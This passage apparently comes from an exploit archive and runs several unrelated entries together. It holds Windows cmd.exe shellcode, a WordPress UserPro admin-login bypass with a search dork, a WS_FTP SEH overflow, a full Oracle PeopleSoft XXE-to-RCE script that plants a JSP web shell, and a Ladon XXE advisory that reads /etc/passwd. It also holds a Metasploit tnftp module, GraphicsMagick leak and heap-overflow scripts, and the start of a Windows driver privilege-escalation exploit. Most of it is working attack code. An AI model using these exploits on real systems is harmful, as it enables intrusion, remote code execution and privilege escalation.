shellcode = ( #cmd.exe Shellcode
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x40\x1c\x8b\x04\x08"
"\x8b\x04\x08\x8b\x58\x08\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01"
"\xda\x8b\x72\x20\x01\xde\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08"
"\x64\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c"
"\x4e\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9"
"\x51\x68\x45\x78\x65\x63\x68\x41\x57\x69\x6e\x89\xe1\x8d\x49"
"\x01\x51\x53\xff\xd6\x87\xfa\x89\xc7\x31\xc9\x51\x68\x72\x65"
"\x61\x64\x68\x69\x74\x54\x68\x68\x41\x41\x45\x78\x89\xe1\x8d"
"\x49\x02\x51\x53\xff\xd6\x89\xc6\x31\xc9\x51\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e\x89\xe1\x6a\x01\x51\xff\xd7\x31\xc9"
"\x51\xff\xd6")
fuzzing.write(buffer + eip + nops + shellcode)
# Exploit Title: Userpro – WordPress Plugin – Authentication Bypass
# Google Dork: inurl:/plugins/userpro
# Date: 11.04.2017
# Exploit Author: Colette Chamberland (Wordfence), Iain Hadgraft (Duke University)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Version: <= 4.6.17
# Tested on: Wordpress 4.8.3
# CVE : requested, not assigned yet.
Description
================================================================================
The userpro plugin has the ability to bypass login authentication for the user
'admin'. If the site does not use the standard username 'admin' it is not affected.
PoC
================================================================================
1 - Google Dork inurl:/plugins/userpro
2 - Browse to a site that has the userpro plugin installed.
3 - Append ?up_auto_log=true to the target: http://www.targetsite.com/?up_auto_log=true
4 - If the site has a default 'admin' user you will now see the wp menu at the top of the site. You are now logged in
will full administrator access.
================================================================================
10/25/2017 – Wordfence notified of issue by Iain Hadgraft.
10/26/2017 – Vendor resolved the issue in the plugin.
11/04/2017 - Disclosure.
#!/usr/bin/python
#Title: Ipswitch WS_FTP Professional Local Buffer Overflow (SEH)
#Author: Kevin McGuigan. Twitter: @_h3xagram
#Author Website: https://www.7elements.co.uk
#Vendor Website: https://www.ipswitch.com
#Date: 03/11/2017
#Version: 12.6.03
#CVE: CVE-2017-16513
#Tested on: Windows 7 32-bit
#Use script to generate payload. Paste payload into search field, replace Ds with shellcode.
#nSEH = "\x74\x08\x90\x90"
#SEH = "\x31\x2D\x91\x23"
buffer = "A" * 840
nSEH = "B" * 4
SEH = "C" * 4
f = open ("poc.txt", "w")
f.write(buffer + nSEH + SEH + "D" * 200)
f.close()
#!/usr/bin/python3
# Oracle PeopleSoft SYSTEM RCE
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17
import requests
import urllib.parse
import re
import string
import random
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
try:
import colorama
except ImportError:
colorama = None
else:
colorama.init()
COLORS = {
'+': colorama.Fore.GREEN,
'-': colorama.Fore.RED,
':': colorama.Fore.BLUE,
'!': colorama.Fore.YELLOW
}
URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'
# shell.jsp?c=whoami
PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis
= new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'
class Browser:
"""Wrapper around requests.
"""
def __init__(self, url):
self.url = url
self.init()
def init(self):
self.session = requests.Session()
self.session.proxies = {
'http': PROXY,
'https': PROXY
}
self.session.verify = False
def get(self, url ,*args, **kwargs):
return self.session.get(url=self.url + url, *args, **kwargs)
def post(self, url, *args, **kwargs):
return self.session.post(url=self.url + url, *args, **kwargs)
def matches(self, r, regex):
return re.findall(regex, r.text)
class Recon(Browser):
"""Grabs different informations about the target.
"""
def check_all(self):
self.site_id = None
self.local_port = None
self.check_version()
self.check_site_id()
self.check_local_infos()
def check_version(self):
"""Grabs PeopleTools' version.
"""
self.version = None
r = self.get('/PSEMHUB/hub')
m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>')
if m:
self.version = m[0]
o(':', 'PTools version: %s' % self.version)
else:
o('-', 'Unable to find version')
def check_site_id(self):
"""Grabs the site ID and the local port.
"""
if self.site_id:
return
r = self.get('/')
m = self.matches(r, '/([^/]+)/signon.html')
if not m:
raise RuntimeError('Unable to find site ID')
self.site_id = m[0]
o('+', 'Site ID: ' + self.site_id)
def check_local_infos(self):
"""Uses cookies to leak hostname and local port.
"""
if self.local_port:
return
r = self.get('/psp/%s/signon.html' % self.site_id)
for c, v in self.session.cookies.items():
if c.endswith('-PORTAL-PSJSESSIONID'):
self.local_host, self.local_port, *_ = c.split('-')
o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
return
raise RuntimeError('Unable to get local hostname / port')
class AxisDeploy(Recon):
"""Uses the XXE to install Deploy, and uses its two useful methods to get
a shell.
"""
def init(self):
super().init()
self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)
def random_string(self, size):
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
def url_service(self, payload):
return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
self.local_port,
urllib.parse.quote_plus(self.psoap(payload))
)
def war_path(self, name):
# This is just a guess from the few PeopleSoft instances we audited.
# It might be wrong.
suffix = '.war' if self.version and self.version >= '8.50' else ''
return './applications/peoplesoft/%s%s' % (name, suffix)
def pxml(self, payload):
"""Converts an XML payload into a one-liner.
"""
payload = payload.strip().replace('\n', ' ')
payload = re.sub('\s+<', '<', payload, flags=re.S)
payload = re.sub('\s+', ' ', payload, flags=re.S)
return payload
def psoap(self, payload):
"""Converts a SOAP payload into a one-liner, including the comment trick
to allow attributes.
"""
payload = self.pxml(payload)
payload = '!-->%s' % payload[:-1]
return payload
def soap_service_deploy(self):
"""SOAP payload to deploy the service.
"""
return """
<ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="%s" provider="java:RPC">
<ns1:parameter name="className" value="%s"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
</ns1:deployment>
""" % (self.service_name, CLASS_NAME)
def soap_service_undeploy(self):
"""SOAP payload to undeploy the service.
"""
return """
<ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="%s"/>
</ns1:undeployment>
""" % (self.service_name, )
def xxe_ssrf(self, payload):
"""Runs the given AXIS deploy/undeploy payload through the XXE.
"""
data = """
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "%s">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
""" % self.url_service(payload)
r = self.post(
'/PSIGW/HttpListeningConnector',
data=self.pxml(data),
headers={
'Content-Type': 'application/xml'
}
)
def service_check(self):
"""Verifies that the service is correctly installed.
"""
r = self.get('/pspc/services')
return self.service_name in r.text
def service_deploy(self):
self.xxe_ssrf(self.soap_service_deploy())
if not self.service_check():
raise RuntimeError('Unable to deploy service')
o('+', 'Service deployed')
def service_undeploy(self):
if not self.local_port:
return
self.xxe_ssrf(self.soap_service_undeploy())
if self.service_check():
o('-', 'Unable to undeploy service')
return
o('+', 'Service undeployed')
def service_send(self, data):
"""Send data to the Axis endpoint.
"""
return self.post(
'/pspc/services/%s' % self.service_name,
data=data,
headers={
'SOAPAction': 'useless',
'Content-Type': 'application/xml'
}
)
def service_copy(self, path0, path1):
"""Copies one file to another.
"""
data = """
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:copy
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<in0 xsi:type="xsd:string">%s</in0>
<in1 xsi:type="xsd:string">%s</in1>
</api:copy>
</soapenv:Body>
</soapenv:Envelope>
""".strip() % (path0, path1)
response = self.service_send(data)
return '<ns1:copyResponse' in response.text
def service_main(self, tmp_path, tmp_dir):
"""Writes the payload at the end of the .xml file.
"""
data = """
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0>
<item xsi:type="xsd:string">%s</item>
<item xsi:type="xsd:string">%s</item>
<item xsi:type="xsd:string">%s.war</item>
<item xsi:type="xsd:string">something</item>
<item xsi:type="xsd:string">-addToEntityReg</item>
<item xsi:type="xsd:string"><![CDATA[%s]]></item>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>
""".strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
response = self.service_send(data)
def build_shell(self):
"""Builds a SYSTEM shell.
"""
# On versions >= 8.50, using another extension than JSP got 70 bytes
# in return every time, for some reason.
# Using .jsp seems to trigger caching, thus the same pivot cannot be
# used to extract several files.
# Again, this is just from experience, nothing confirmed
pivot = '/%s.jsp' % self.random_string(20)
pivot_path = self.war_path('PSOL') + pivot
pivot_url = '/PSOL' + pivot
# 1: Copy portletentityregistry.xml to TMP
per = '/WEB-INF/data/portletentityregistry.xml'
per_path = self.war_path('pspc')
tmp_path = '../' * 20 + 'TEMP'
tmp_dir = self.random_string(20)
tmp_per = tmp_path + '/' + tmp_dir + per
if not self.service_copy(per_path + per, tmp_per):
raise RuntimeError('Unable to copy original XML file')
# 2: Add JSP payload
self.service_main(tmp_path, tmp_dir)
# 3: Copy XML to JSP in webroot
if not self.service_copy(tmp_per, pivot_path):
raise RuntimeError('Unable to copy modified XML file')
response = self.get(pivot_url)
if response.status_code != 200:
raise RuntimeError('Unable to access JSP shell')
o('+', 'Shell URL: ' + self.url + pivot_url)
class PeopleSoftRCE(AxisDeploy):
def __init__(self, url):
super().__init__(url)
def o(s, message):
if colorama:
c = COLORS[s]
s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
print('%s %s' % (s, message))
x = PeopleSoftRCE(URL)
try:
x.check_all()
x.service_deploy()
x.build_shell()
except RuntimeError as e:
o('-', e)
finally:
x.service_undeploy()
Advisory: XML External Entity Expansion in Ladon Webservice
Attackers who can send SOAP messages to a Ladon webservice via the HTTP
interface of the Ladon webservice can exploit an XML external entity expansion
vulnerability and read local files, forge server side requests or overload the
service with exponentially growing memory payloads.
Details
=======
Product: Ladon Framework for Python
Affected Versions: 0.9.40 and previous
Fixed Versions: none
Vulnerability Type: XML External Entity Expansion
Security Risk: high
Vendor URL: http://ladonize.org
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-008
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH
Introduction
============
"Ladon is a framework for exposing methods to several Internet service
protocols. Once a method is ladonized it is automatically served through all
the interfaces that your ladon installation contains. Ladon's interface
implemetations are added in a modular fashion making it very easy [sic] extend
Ladon's protocol support. Ladon runs on all Major OS's[sic] (Windows, Mac and
Linux) and supports both Python 2 and 3."
From the vendor's website[1]
More Details
============
Ladon allows developers to expose functions of a class via different
webservice protocols by using the @ladonize decorator in Python. By
using the WSGI interface of a webserver or by running the Ladon command
line tool "ladon-2.7-ctl" with the command "testserve" and the name of
the Python file, the webservices can be accessed via HTTP.
As a simple example, the following Python file "helloservice.py" was
implemented:
------------------------------------------------------------------------
from ladon.ladonizer import ladonize
class HelloService(object):
@ladonize(unicode, rtype=unicode)
def sayhello(self, uid):
return u"Hello {0}".format(uid)
------------------------------------------------------------------------
This function can then be run as a ladon webservice via the following
command:
------------------------------------------------------------------------
ladon-2.7-ctl testserve helloservice.py -p 8000
------------------------------------------------------------------------
This enables access to the "sayhello"-function via SOAP- and JSON-APIs.
The following command will send an HTTP SOAP request, which will trigger the
function:
------------------------------------------------------------------------
curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://localhost:8888/HelloService/soap11/sayhello\"' \
--data-binary $'<soapenv:Envelope
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:HelloService\"><soapenv:Header/><soapenv:Body>
<urn:sayhello soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">RedTeam Pentesting</uid>
</urn:sayhello></soapenv:Body></soapenv:Envelope>' \
'http://localhost:8888/HelloService/soap11' | xmllint --format -
------------------------------------------------------------------------
This will generate the following output:
------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns="urn:HelloService" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<ns:sayhelloResponse>
<result>Hello RedTeam Pentesting</result>
</ns:sayhelloResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
------------------------------------------------------------------------
The SOAP-API of this service is susceptible to an XML external entity
expansion.
Proof of Concept
================
By including a DTD in the XML SOAP request, attackers are able to include
external entities in the response of the server. In the case of the simple
service the inclusion of the following DTD will result in the exposure of the
"/etc/passwd"-file on the server:
------------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE uid [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
------------------------------------------------------------------------
The following command exploits this vulnerability by including the &passwd;
entity as the username in the request:
------------------------------------------------------------------------
curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://localhost:8888/HelloService/soap11/sayhello\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:HelloService\"><soapenv:Header/>
<soapenv:Body>
<urn:sayhello soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</urn:sayhello>
</soapenv:Body>
</soapenv:Envelope>' \
'http://localhost:8888/HelloService/soap11' | xmllint --format -
------------------------------------------------------------------------
The server answers with a response containing the passwd-file:
------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns="urn:HelloService"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<ns:sayhelloResponse>
<result>Hello root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:[...]</result>
</ns:sayhelloResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
------------------------------------------------------------------------
Workaround
==========
The Python package defusedxml [2] can be used to monkey patch the code to
prevent XML vulnerabilities. The following workaround can be included in the
code, which prevents exploitation:
------------------------------------------------------------------------
[...]
import defusedxml
defusedxml.defuse_stdlib()
[...]
------------------------------------------------------------------------
Fix
===
Currently no fix is available.
Security Risk
=============
Attackers are able to read local files on the server of the webservice
with the privileges of the webservice. Furthermore, attackers are able
to create HTTP request from the webservice to other services on the
Internet or the local network. It is likely that attackers are able to
gain access to credentials for database services used by the webservice.
Attackers may also be able to cause a denial-of-service attack against
the respective webservice. Depending on the data stored on the
vulnerable system and the relevance of the webservice, this
vulnerability may pose a high risk.
Timeline
========
2016-11-29 Vulnerability identified
2016-11-29 Customer notified vendor
2017-07-10 Customer fixed problem in their own product
2017-07-21 RedTeam Pentesting notified vendor
2017-08-11 RedTeam Pentesting asked vendor for status update
2017-09-08 RedTeam Pentesting asked vendor for status update and announced
public release for end of October
2017-10-09 RedTeam Pentesting asked vendor for status update
2017-11-03 Advisory released (no reply from vendor to status update requests)
References
==========
[1] http://ladonize.org
[2] https://pypi.python.org/pypi/defusedxml
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
=============================
RedTeam Pentesting GmbH is looking for more penetration testers to join
our team. If you are interested in working for RedTeam Pentesting in
Aachen, please visit the respective section of our website.
--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschaftsfuhrer: Patrick Hof, Jens Liebchen
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'tnftp "savefile" Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
tnftp's handling of the resolved output filename - called "savefile" in
the source - from a requested resource.
If tnftp is executed without the -o command-line option, it will resolve
the output filename from the last component of the requested resource.
If the output filename begins with a "|" character, tnftp will pass the
fetched resource's output to the command directly following the "|"
character through the use of the popen() function.
},
'Author' => [
'Jared McNeill', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2014-8517'],
['URL', 'http://seclists.org/oss-sec/2014/q4/459']
],
'DisclosureDate' => 'Oct 28 2014',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {'BadChars' => '/'},
'Targets' => [['ftp(1)', {}]],
'DefaultTarget' => 0
))
end
def on_request_uri(cli, request)
unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
print_status("#{request['User-Agent']} connected")
send_not_found(cli)
return
end
if request.uri.ends_with?(sploit)
send_response(cli, '')
print_good("Executing `#{payload.encoded}'!")
report_vuln(
:host => cli.peerhost,
:name => self.name,
:refs => self.references,
:info => request['User-Agent']
)
else
print_status("#{request['User-Agent']} connected")
print_status('Redirecting to exploit...')
send_redirect(cli, sploit_uri)
end
end
def sploit_uri
(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
Rex::Text.uri_encode(sploit, 'hex-all')
end
def sploit
"|#{payload.encoded}"
end
end
'''Vulnerabilities summary
The following advisory describes two (2) vulnerabilities found in GraphicsMagick.
GraphicsMagick is “The swiss army knife of image processing. Comprised of 267K physical lines (according to David A. Wheeler’s SLOCCount) of source code in the base package (or 1,225K including 3rd party libraries) it provides a robust and efficient collection of tools and libraries which support reading, writing, and manipulating an image in over 88 major formats including important formats like DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM, and TIFF.”
The vulnerabilities found are:
Memory Information Disclosure
Heap Overflow
Credit
An independent security researchers, Jeremy Heng (@nn_amon) and Terry Chia (Ayrx), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
The vendor has released patches to address these vulnerabilities (15237:e4e1c2a581d8 and 15238:7292230dd18).
For more details: ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/snapshots/ChangeLog.txt
Vulnerabilities details
Memory Information Disclosure
GraphicsMagick is vulnerable to a memory information disclosure vulnerability found in DescribeImage function of the magick/describe.c file.
The portion of the code containing the vulnerability responsible of printing the IPTC Profile information contained in the image.
This vulnerability can be triggered with a specially crafted MIFF file.
The code which triggers the vulnerable code path is:
63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file,
64 const MagickBool verbose)
65 {
...
660 for (i=0; i < profile_length; )
661 {
662 if (profile[i] != 0x1c)
663 {
664 i++;
665 continue;
666 }
667 i++; /* skip file separator */
668 i++; /* skip record number */
...
725 i++;
726 (void) fprintf(file," %.1024s:\n",tag);
727 length=profile[i++] << 8;
728 length|=profile[i++];
729 text=MagickAllocateMemory(char *,length+1);
730 if (text != (char *) NULL)
731 {
732 char
733 **textlist;
734
735 register unsigned long
736 j;
737
738 (void) strncpy(text,(char *) profile+i,length);
739 text[length]='\0';
740 textlist=StringToList(text);
741 if (textlist != (char **) NULL)
742 {
743 for (j=0; textlist[j] != (char *) NULL; j++)
744 {
745 (void) fprintf(file," %s\n",textlist[j]);
...
752 i+=length;
753 }
The value in profile_length variable is set in the following field in the MIFF header: profile-iptc=8
There is an out-of-bounds buffer dereference whenever profile[i] is accessed because the increments of i is never checked.
If we break on line 738 of describe.c, we can explore what is present on the heap during the strncpy operation.
gef➤ x/2xg profile
0x8be210: 0x08000a001c414141 0x00007ffff690fba8
The 8 bytes 0x08000a001c414141 is the profile payload present in the specially crafted MIFF file.
41 41 41 - padding
1C - sentinel check in line 662
00 - padding
0A - "Priority" tag
08 00 - 8 in big endian, the length
If we examine the value 0x00007ffff690fba8 adjacent to the payload, it becomes apparent that it is an address within the main_arena struct in libc.
gef➤ x/xw 0x00007ffff690fba8
0x7ffff690fba8 <main_arena+136>: 0x008cdc40
gef➤ vmmap libc
Start End Offset Perm Path
0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 ---
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r--
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw-
/lib/x86_64-linux-gnu/libc-2.23.so
Now we can calculate the offset to libc base – 0x3c4b98
Proof of Concept
$ python miff/readexploit.py
[+] Starting local process ‘/usr/bin/gm’: pid 20019
[+] Receiving all data: Done (1.27KB)
[*] Process ‘/usr/bin/gm’ stopped with exit code 0 (pid 20019)
[*] Main Arena Leak: 0x7f72948adb98
[*] libc Base: 0x7f72944e9000
#!/usr/bin/python
# GraphicsMagick IPTC Profile libc Leak
from pwn import *
directory = "DIR"
partitions = ('id=ImageMagick version=1.0\nclass=DirectClass matte=False\n' +
'columns=1 rows=1 depth=16\nscene=1\nmontage=1x1+0+0\nprofil' +
'e-iptc=',
'\n\x0c\n:\x1a',
'\n\x00',
'\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "readexploit.miff"
length = 8
#libc_main_arena_entry_offset = 0x3c4ba8
libc_main_arena_entry_offset = 0x3c4b98
def main():
data = "AAA" + "\x1c" + "\x00" + chr(10) + p16(0x8, endian="big")
header = partitions[0] + str(length) + partitions[1]
payload = header + directory + partitions[2] + data + partitions[3]
file(output, "w").write(payload)
p = process(executable="gm", argv=["identify", "-verbose", output])
output_leak = p.recvall()
priority_offset = output_leak.index("Priority:") + 12
montage_offset = output_leak.index("Montage:") - 3
leak = output_leak[priority_offset:montage_offset]
if "0x00000000" in leak:
log.info("Unlucky run. Value corrupted by StringToList")
exit()
main_arena_leak = u64(leak.ljust(8, "\x00"))
log.info("Main Arena Leak: 0x%x" % main_arena_leak)
libc_base = main_arena_leak - libc_main_arena_entry_offset
log.info("libc Base: 0x%x" % libc_base)
if __name__ == "__main__":
main()
Heap Overflow
GraphicsMagick is vulnerable to a heap overflow vulnerability found in DescribeImage() function of the magick/describe.c file.
The call to strncpy on line 855 does not limit the size to be copied to the size of the buffer copied to. Instead, the size is calculated by searching for a newline or a null byte in the directory name.
844 /*
845 Display visual image directory.
846 */
847 image_info=CloneImageInfo((ImageInfo *) NULL);
848 (void) CloneString(&image_info->size,"64x64");
849 (void) fprintf(file," Directory:\n");
850 for (p=image->directory; *p != '\0'; p++)
851 {
852 q=p;
853 while ((*q != '\n') && (*q != '\0'))
854 q++;
855 (void) strncpy(image_info->filename,p,q-p);
856 image_info->filename[q-p]='\0';
857 p=q;
...
880 }
881 DestroyImageInfo(image_info);
Since the field filename in the ImageInfo struct has the static size of 2053, the heap can be corrupted by forging an overly long directory name.
type = struct _ImageInfo {
...
FILE *file;
char magick[2053];
char filename[2053];
_CacheInfoPtr_ cache;
void *definitions;
Image *attributes;
unsigned int ping;
PreviewType preview_type;
unsigned int affirm;
_BlobInfoPtr_ blob;
size_t length;
char unique[2053];
char zero[2053];
unsigned long signature;
}
One possible way to trigger the vulnerability is to run the identify command on a specially crafted MIFF format file with the verbose flag.
Proof of Concept
The following proof of concept script will generate a specially crafted MIFF file exploit.miff.
'''
#!/usr/bin/python
from pwn import *
partitions = ('id=ImageMagick version=1.0\nclass=DirectClass matte=False\n' +
'columns=1 rows=1 depth=16\nscene=1\nmontage=1x1+0+0\n\x0c\n' +
':\x1a',
'\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "exploit.miff"
def main():
payload = "A"*10000
payload = partitions[0] + payload + partitions[1]
file(output, "w").write(payload)
if __name__ == "__main__":
main()
'''
Running the GraphicsMagick gm utility with the arguments identify -verbose in GDB and breaking after the vulnerable strncpy call, and examining the corrupted ImageInfo object demonstrates that the heap corruption was successful.
gef➤ r identify -verbose exploit.miff
...
gef➤ br describe.c:856
Breakpoint 1 at 0x4571df: file magick/describe.c, line 856.
...
gef➤ p *image_info
$3 = {
...
compression = UndefinedCompression,
file = 0x0,
magick = '\000' <repeats 2052 times>,
filename = 'A' <repeats 2053 times>,
cache = 0x4141414141414141,
definitions = 0x4141414141414141,
attributes = 0x4141414141414141,
ping = 0x41414141,
preview_type = 1094795585,
affirm = 0x41414141,
blob = 0x4141414141414141,
length = 0x4141414141414141,
unique = 'A' <repeats 2053 times>,
zero = 'A' <repeats 2053 times>,
signature = 0x4141414141414141
}
'''
/*
Exploit Title - Vir.IT eXplorer Anti-Virus Arbitrary Write Privilege Escalation
Date - 1st November 2017
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://www.tgsoft.it
Tested Version - 8.5.39
Driver Version - 1.0.0.11 - VIAGLT64.SYS
Tested on OS - 64bit Windows 7 and Windows 10 (1709)
CVE ID - CVE-2017-16237
Vendor fix url - n/a
Fixed Version - 8.5.42
Fixed driver ver - 1.0.0.12
Check blogpost for details:
https://www.greyhathacker.net/?p=990
*/
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
#pragma comment(lib,"advapi32.lib")
#define SystemHandleInformation 16
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
typedef unsigned __int64 QWORD;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
QWORD Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
DWORD getProcessId(char* process)
{
HANDLE hSnapShot;
PROCESSENTRY32 pe32;
DWORD pid;
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE)
{
printf("\n[-] Failed to create handle CreateToolhelp32Snapshot()\n\n");
return -1;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapShot, &pe32) == FALSE)
{
printf("\n[-] Failed to call Process32First()\n\n");
return -1;
}
do
{
if (stricmp(pe32.szExeFile, process) == 0)
{
pid = pe32.th32ProcessID;
return pid;
}
} while (Process32Next(hSnapShot, &pe32));
CloseHandle(hSnapShot);
